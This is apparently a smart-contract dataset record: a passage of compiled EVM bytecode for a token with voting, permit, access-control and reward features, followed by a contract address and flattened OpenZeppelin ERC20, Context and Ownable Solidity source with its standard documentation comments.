20014267ffffffffffffffff168152602001834261157d9190614084565b67ffffffffffffffff908116909152825460018181018555600094855260208086208551600290940201928355840151910180546040909401518316600160401b026fffffffffffffffffffffffffffffffff199094169190921617919091179055670de0b6b3a76400006115f18361193d565b6115fb9087614159565b61160591906140b0565b90506116118382612859565b604080518681526020810184905233916001600160a01b038616917f34194be2f096bdb2ad418add902a4da76d3d6f6d387d86d857f56c7711ecca70910160405180910390a350506001600e55505050565b60004382106116b45760405162461bcd60e51b815260206004820152601f60248201527f4552433230566f7465733a20626c6f636b206e6f7420796574206d696e6564006044820152606401610a2a565b610e2d600883612510565b6000828152600d602052604081206110259083612879565b606060048054610e42906141fb565b6001600160a01b038116600090815260076020526040812054801561175a576001600160a01b0383166000908152600760205260409020611728600183614178565b81548110611738576117386142aa565b60009182526020909120015464010000000090046001600160e01b031661175d565b60005b6001600160e01b03169392505050565b6117977fd9d917c4034cff8a8c5fa1e40f9fbaf906b827c33ae3ab1fcabbb616cb8ef24d3361072e565b6118095760405162461bcd60e51b815260206004820152602c60248201527f546f6b656e53617665722e6f6e6c79546f6b656e53617665723a207065726d6960448201527f7373696f6e2064656e69656400000000000000000000000000000000000000006064820152608401610a2a565b61181d6001600160a01b03841683836120b4565b826001600160a01b0316826001600160a01b03166118383390565b6001600160a01b03167f30d87cec6b4c56cede1018725d1e6d9304e2f7ee6d25b004b7e2183f793f26bc8460405161187291815260200190565b60405180910390a4505050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156119195760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610a2a565b6119263385858403612119565b5060019392505050565b6000610ed2338484612312565b60007f0000000000000000000000000000000000000000000000000000000012cc030061198a837f0000000000000000000000000000000000000000000000000000000000000000614159565b61199491906140b0565b610e2d90670de0b6b3a764000061406c565b600f60205281600052604060002081815481106119c257600080fd5b60009182526020909120600290910201805460019091015490925067ffffffffffffffff8082169250600160401b9091041683565b83421115611a475760405162461bcd60e51b815260206004820152601d60248201527f4552433230566f7465733a207369676e617475726520657870697265640000006044820152606401610a2a565b604080517fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60208201526001600160a01b038816918101919091526060810186905260808101859052600090611ac190611ab99060a00160405160208183030381529060405280519060200120612885565b8585856128d3565b9050611acc816128fb565b8614611b1a5760405162461bcd60e51b815260206004820152601960248201527f4552433230566f7465733a20696e76616c6964206e6f6e6365000000000000006044820152606401610a2a565b611b248188612726565b50505050505050565b6000818152600d60205260408120610e2d90612923565b83421115611b945760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e650000006044820152606401610a2a565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9888888611bc38c6128fb565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506000611c1e82612885565b90506000611c2e828787876128d3565b9050896001600160a01b0316816001600160a01b031614611c915760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e617475726500006044820152606401610a2a565b611c9c8a8a8a612119565b50505050505050505050565b61106c828261292d565b6000611cbd33612953565b90506000670de0b6b3a7640000611cf47f000000000000000000000000000000000000000000000000000000000000000084614159565b611cfe91906140b0565b90506000611d0c8284614178565b90508115801590611d4557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031615155b15611df357604051638dbdbe6d60e01b8152600481018390527f000000000000000000000000000000000000000000000000000000000000000060248201526001600160a01b0385811660448301527f00000000000000000000000000000000000000000000000000000000000000001690638dbdbe6d90606401600060405180830381600087803b158015611dda57600080fd5b505af1158015611dee573d6000803e3d6000fd5b505050505b6001811115611e3057611e306001600160a01b037f000000000000000000000000ff9fea2666ac0b074a1a53579ff95add4df0601a1685836120b4565b60408051838152602081018390526001600160a01b0386169133917fd92c424393cb3ccdf7d5e36602e3bfa34f24490579ba47978f4bcfad496995f2910160405180910390a350505050565b60408051808201909152600080825260208201526001600160a01b0383166000908152600760205260409020805463ffffffff8416908110611ec057611ec06142aa565b60009182526020918290206040805180820190915291015463ffffffff8116825264010000000090046001600160e01b0316918101919091529392505050565b801580611f895750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015611f4f57600080fd5b505afa158015611f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f879190613ea7565b155b611ffb5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e6365000000000000000000006064820152608401610a2a565b6040516001600160a01b03831660248201526044810182905261104e90849063095ea7b360e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612a65565b6120688282612b4a565b5050565b6000611025836001600160a01b038416612bec565b60606120908484600085612c3b565b949350505050565b6120a28282612d7a565b612068826120af8361223d565b612d92565b6040516001600160a01b03831660248201526044810182905261104e90849063a9059cbb60e01b90606401612027565b60006001600160e01b03198216637965db0b60e01b1480610e2d57506301ffc9a760e01b6001600160e01b0319831614610e2d565b6001600160a01b03831661217b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a2a565b6001600160a01b0382166121dc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a2a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160ff1b038211156122bc5760405162461bcd60e51b815260206004820152602860248201527f53616665436173743a2076616c756520646f65736e27742066697420696e206160448201527f6e20696e743235360000000000000000000000000000000000000000000000006064820152608401610a2a565b5090565b6000808212156122bc5760405162461bcd60e51b815260206004820181905260248201527f53616665436173743a2076616c7565206d75737420626520706f7369746976656044820152606401610a2a565b60405162461bcd60e51b815260206004820152601060248201527f4e4f4e5f5452414e5346455241424c45000000000000000000000000000000006044820152606401610a2a565b6000828152600c60205260409020600101546123768133612f07565b61104e8383612b4a565b60007f00000000000000000000000000000000000000000000000000000000000000014614156123cf57507f4b3530f29009fb74935c6ba1395f870b70c6665092f36b1761e5c546c98be46790565b50604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6020808301919091527f712ea655edf95794bc9370942db232d5056867b262509fe85d673aaa82e28d4b828401527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608301524660808301523060a0808401919091528351808403909101815260c0909201909252805191012090565b6001600160a01b03811633146124f15760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c6600000000000000000000000000000000006064820152608401610a2a565b6120688282612f87565b6000611025836001600160a01b03841661300a565b8154600090815b8181101561257457600061252b82846130fd565b905084868281548110612540576125406142aa565b60009182526020909120015463ffffffff1611156125605780925061256e565b61256b81600161406c565b91505b50612517565b81156125b85784612586600184614178565b81548110612596576125966142aa565b60009182526020909120015464010000000090046001600160e01b03166125bb565b60005b6001600160e01b031695945050505050565b6040516001600160a01b03808516602483015283166044820152606481018290526126059085906323b872dd60e01b90608401612027565b50505050565b60006126397f0000000000000000000000000000000000000000000000000000043000000f6563ffffffff16565b9050600081116126b15760405162461bcd60e51b815260206004820152603e60248201527f4162737472616374526577617264732e5f64697374726962757465526577617260448201527f64733a20746f74616c20736861726520737570706c79206973207a65726f00006064820152608401610a2a565b811561206857806126d26fffffffffffffffffffffffffffffffff84614159565b6126dc91906140b0565b6009546126e9919061406c565b60095560405182815233907fdf29796aad820e4bb192f3a8d631b76519bcd2cbe77cc85af20e9df53cece086906020015b60405180910390a25050565b6001600160a01b038281166000818152600660208181526040808420805485845282862054949093528787167fffffffffffffffffffffffff00000000000000000000000000000000000000008416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4612605828483613118565b600063ffffffff8211156122bc5760405162461bcd60e51b815260206004820152602660248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203360448201527f32206269747300000000000000000000000000000000000000000000000000006064820152608401610a2a565b60008183106128425781611025565b5090919050565b6000818310156128425781611025565b6128638282613255565b612068826128708361223d565b6120af9061424b565b600061102583836132ec565b6000610e2d612892612380565b8360405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b60008060006128e487878787613316565b915091506128f181613403565b5095945050505050565b6001600160a01b03811660009081526005602052604090208054600181018255905b50919050565b6000610e2d825490565b6000828152600c60205260409020600101546129498133612f07565b61104e8383612f87565b60006001600160a01b0382166129d15760405162461bcd60e51b815260206004820152603f60248201527f4162737472616374526577617264732e5f70726570617265436f6c6c6563743a60448201527f206163636f756e742063616e6e6f74206265207a65726f2061646472657373006064820152608401610a2a565b60006129dc83611200565b90508015610e2d576001600160a01b0383166000908152600b6020526040902054612a0890829061406c565b6001600160a01b0384166000818152600b6020526040908190209290925590517f8a43c4352486ec339f487f64af78ca5cbf06cd47833f073d3baf3a193e50316190612a579084815260200190565b60405180910390a292915050565b6000612aba826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166120819092919063ffffffff16565b80519091501561104e5780806020019051810190612ad89190613dfd565b61104e5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610a2a565b6000828152600c602090815260408083206001600160a01b038516845290915290205460ff16612068576000828152600c602090815260408083206001600160a01b03851684529091529020805460ff19166001179055612ba83390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000818152600183016020526040812054612c3357508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610e2d565b506000610e2d565b606082471015612cb35760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610a2a565b843b612d015760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610a2a565b600080866001600160a01b03168587604051612d1d9190613ef5565b60006040518083038185875af1925050503d8060008114612d5a576040519150601f19603f3d011682016040523d82523d6000602084013e612d5f565b606091505b5091509150612d6f8282866135be565b979650505050505050565b612d8482826135f7565b612605600861374c83613758565b6001600160a01b038216612e0e5760405162461bcd60e51b815260206004820152603e60248201527f4162737472616374526577617264732e5f636f7272656374506f696e74733a2060448201527f6163636f756e742063616e6e6f74206265207a65726f206164647265737300006064820152608401610a2a565b80612e815760405162461bcd60e51b815260206004820152603560248201527f4162737472616374526577617264732e5f636f7272656374506f696e74733a2060448201527f7368617265732063616e6e6f74206265207a65726f00000000000000000000006064820152608401610a2a565b612e8c60095461223d565b612e9690826140d2565b6001600160a01b0383166000908152600a6020526040902054612eb9919061402c565b6001600160a01b0383166000818152600a6020526040908190208390555190917ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa77739161271a91815260200190565b6000828152600c602090815260408083206001600160a01b038516845290915290205460ff1661206857612f45816001600160a01b031660146138d1565b612f508360206138d1565b604051602001612f61929190613f11565b60408051601f198184030181529082905262461bcd60e51b8252610a2a91600401613ff9565b6000828152600c602090815260408083206001600160a01b038516845290915290205460ff1615612068576000828152600c602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600081815260018301602052604081205480156130f357600061302e600183614178565b855490915060009061304290600190614178565b90508181146130a7576000866000018281548110613062576130626142aa565b9060005260206000200154905080876000018481548110613085576130856142aa565b6000918252602080832090910192909255918252600188019052604090208390555b85548690806130b8576130b8614294565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610e2d565b6000915050610e2d565b600061310c60028484186140b0565b6110259084841661406c565b816001600160a01b0316836001600160a01b03161415801561313a5750600081115b1561104e576001600160a01b038316156131c8576001600160a01b038316600090815260076020526040812081906131759061374c85613758565b91509150846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72483836040516131bd929190918252602082015260400190565b60405180910390a250505b6001600160a01b0382161561104e576001600160a01b038216600090815260076020526040812081906131fe90613a7a85613758565b91509150836001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248383604051613246929190918252602082015260400190565b60405180910390a25050505050565b61325f8282613a86565b6002546001600160e01b0310156132de5760405162461bcd60e51b815260206004820152603060248201527f4552433230566f7465733a20746f74616c20737570706c79207269736b73206f60448201527f766572666c6f77696e6720766f746573000000000000000000000000000000006064820152608401610a2a565b6126056008613a7a83613758565b6000826000018281548110613303576133036142aa565b9060005260206000200154905092915050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561334d57506000905060036133fa565b8460ff16601b1415801561336557508460ff16601c14155b1561337657506000905060046133fa565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156133ca573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166133f3576000600192509250506133fa565b9150600090505b94509492505050565b60008160048111156134175761341761427e565b14156134205750565b60018160048111156134345761343461427e565b14156134825760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610a2a565b60028160048111156134965761349661427e565b14156134e45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610a2a565b60038160048111156134f8576134f861427e565b14156135515760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610a2a565b60048160048111156135655761356561427e565b14156111db5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610a2a565b606083156135cd575081611025565b8251156135dd5782518084602001fd5b8160405162461bcd60e51b8152600401610a2a9190613ff9565b6001600160a01b0382166136575760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610a2a565b6001600160a01b038216600090815260208190526040902054818110156136cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610a2a565b6001600160a01b03831660009081526020819052604081208383039055600280548492906136fa908490614178565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a361104e83600084613b69565b60006110258284614178565b8254600090819080156137a35785613771600183614178565b81548110613781576137816142aa565b60009182526020909120015464010000000090046001600160e01b03166137a6565b60005b6001600160e01b031692506137bf83858763ffffffff16565b91506000811180156137fd575043866137d9600184614178565b815481106137e9576137e96142aa565b60009182526020909120015463ffffffff16145b1561385d5761380b82613b9b565b86613817600184614178565b81548110613827576138276142aa565b9060005260206000200160000160046101000a8154816001600160e01b0302191690836001600160e01b031602179055506138c8565b856040518060400160405280613872436127b7565b63ffffffff16815260200161388685613b9b565b6001600160e01b0390811690915282546001810184556000938452602093849020835194909301519091166401000000000263ffffffff909316929092179101555b50935093915050565b606060006138e0836002614159565b6138eb90600261406c565b67ffffffffffffffff811115613903576139036142c0565b6040519080825280601f01601f19166020018201604052801561392d576020820181803683370190505b509050600360fc1b81600081518110613948576139486142aa565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110613977576139776142aa565b60200101906001600160f81b031916908160001a905350600061399b846002614159565b6139a690600161406c565b90505b6001811115613a2b577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106139e7576139e76142aa565b1a60f81b8282815181106139fd576139fd6142aa565b60200101906001600160f81b031916908160001a90535060049490941c93613a24816141e4565b90506139a9565b5083156110255760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610a2a565b6000611025828461406c565b6001600160a01b038216613adc5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610a2a565b8060026000828254613aee919061406c565b90915550506001600160a01b03821660009081526020819052604081208054839290613b1b90849061406c565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3612068600083835b6001600160a01b0383811660009081526006602052604080822054858416835291205461104e92918216911683613118565b60006001600160e01b038211156122bc5760405162461bcd60e51b815260206004820152602760248201527f53616665436173743a2076616c756520646f65736e27742066697420696e203260448201527f32342062697473000000000000000000000000000000000000000000000000006064820152608401610a2a565b80356001600160a01b0381168114613c3157600080fd5b919050565b803560ff81168114613c3157600080fd5b600060208284031215613c5957600080fd5b61102582613c1a565b60008060408385031215613c7557600080fd5b613c7e83613c1a565b9150613c8c60208401613c1a565b90509250929050565b600080600060608486031215613caa57600080fd5b613cb384613c1a565b9250613cc160208501613c1a565b9150604084013590509250925092565b600080600080600080600060e0888a031215613cec57600080fd5b613cf588613c1a565b9650613d0360208901613c1a565b95506040880135945060608801359350613d1f60808901613c36565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215613d4e57600080fd5b613d5783613c1a565b946020939093013593505050565b60008060008060008060c08789031215613d7e57600080fd5b613d8787613c1a565b95506020870135945060408701359350613da360608801613c36565b92506080870135915060a087013590509295509295509295565b60008060408385031215613dd057600080fd5b613dd983613c1a565b9150602083013563ffffffff81168114613df257600080fd5b809150509250929050565b600060208284031215613e0f57600080fd5b8151801515811461102557600080fd5b600060208284031215613e3157600080fd5b5035919050565b60008060408385031215613e4b57600080fd5b82359150613c8c60208401613c1a565b60008060408385031215613e6e57600080fd5b50508035926020909101359150565b600060208284031215613e8f57600080fd5b81356001600160e01b03198116811461102557600080fd5b600060208284031215613eb957600080fd5b5051919050565b600080600060608486031215613ed557600080fd5b8335925060208401359150613eec60408501613c1a565b90509250925092565b60008251613f078184602087016141b8565b9190910192915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351613f498160178501602088016141b8565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351613f868160288401602088016141b8565b01602801949350505050565b602080825282518282018190526000919060409081850190868401855b82811015613fec578151805185528681015167ffffffffffffffff9081168887015290860151168585015260609093019290850190600101613faf565b5091979650505050505050565b60208152600082518060208401526140188160408501602087016141b8565b601f01601f19169190910160400192915050565b6000808212826001600160ff1b030384138115161561404d5761404d614268565b600160ff1b839003841281161561406657614066614268565b50500190565b6000821982111561407f5761407f614268565b500190565b600067ffffffffffffffff8083168185168083038211156140a7576140a7614268565b01949350505050565b6000826140cd57634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160ff1b036000841360008413858304851182821616156140fa576140fa614268565b600160ff1b600087128281168783058912161561411957614119614268565b6000871292508782058712848416161561413557614135614268565b8785058712818416161561414b5761414b614268565b505050929093029392505050565b600081600019048311821515161561417357614173614268565b500290565b60008282101561418a5761418a614268565b500390565b600067ffffffffffffffff838116908316818110156141b0576141b0614268565b039392505050565b60005b838110156141d35781810151838201526020016141bb565b838111156126055750506000910152565b6000816141f3576141f3614268565b506000190190565b600181811c9082168061420f57607f821691505b6020821081141561291d57634e487b7160e01b600052602260045260246000fd5b600060001982141561424457614244614268565b5060010190565b6000600160ff1b82141561426157614261614268565b5060000390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea164736f6c6343000807000a
[ 5, 9, 12 ]
0xf203Ca1769ca8e9e8FE1DA9D147DB68B6c919817
pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ 